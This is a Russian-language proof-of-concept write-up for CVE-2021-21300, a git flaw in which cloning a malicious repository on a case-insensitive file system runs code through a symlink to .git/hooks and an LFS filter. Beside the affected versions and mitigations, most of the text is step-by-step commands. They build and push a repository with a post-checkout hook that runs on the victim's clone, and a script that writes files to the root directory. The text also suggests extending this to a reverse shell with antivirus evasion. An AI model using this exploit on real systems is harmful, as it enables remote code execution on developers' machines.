
Эксплойт proof-of-concept для CVE-2021-21300, демонстрирующий удалённое выполнение кода при клонировании вредоносного git-репозитория с использованием симлинков и фильтров на файловых системах, нечувствительных к регистру символов.
В нескольких версиях git недостаточно строго обрабатываются символические ссылки. После загрузки файлов в git в файловой системе, чувствительной к регистру (например, Linux), при клонировании вредоносного репозитория на хосте с файловой системой, нечувствительной к регистру (например, Windows), может быть выполнена удалённая команда.
С 2.15 по 2.30.1
Обновите версию
Как указано ниже
Отключите symlink в git: git config --global core.symlinks false
Отключите process filter (обычно используется LFS), проверить можно через git config --show-scope --get-regexp 'filter..*.process
В репозитории есть символическая ссылка и каталог с одинаковыми именами
Символическая ссылка указывает на специальный каталог (по текущим наблюдениям — .git/hooks)
На машине жертвы должны быть достаточные права для выполнения вредоносной команды
Система: ubuntux64
Требуется установить git, git-lfs
При выполнении команды git lfs install может появиться ошибка
Error: Failed to call git rev-parse --git-dir: exit status 128
Её можно игнорировать
Появление сообщения Git LFS initialized. означает, что установка завершена
Система: win10x64
git for window: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
При установке git for window можно оставить все настройки по умолчанию
В сети много соответствующих руководств, не будем останавливаться подробно.
Выполните следующие команды:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
В powershell(администратор) на win10 выполните следующую команду:
git clone -c core.symlinks=true [自己的仓库地址]
После clone появление PWNED означает, что удалённое выполнение команды прошло успешно
Видно, что при клонировании была выполнена команда из файла post-checkout
Идея состоит в том, чтобы использовать IEX для загрузки скрипта, а затем получить shell через прослушивание на Kali, но большинство скриптов будут распознаны и заблокированы; с помощью обхода антивируса (免杀) это, вероятно, можно реализовать.
Добавьте в каталог файл скрипта hack.sh
Содержимое:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Измените команду, выполняемую в post-checkout, чтобы запустить скрипт:
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout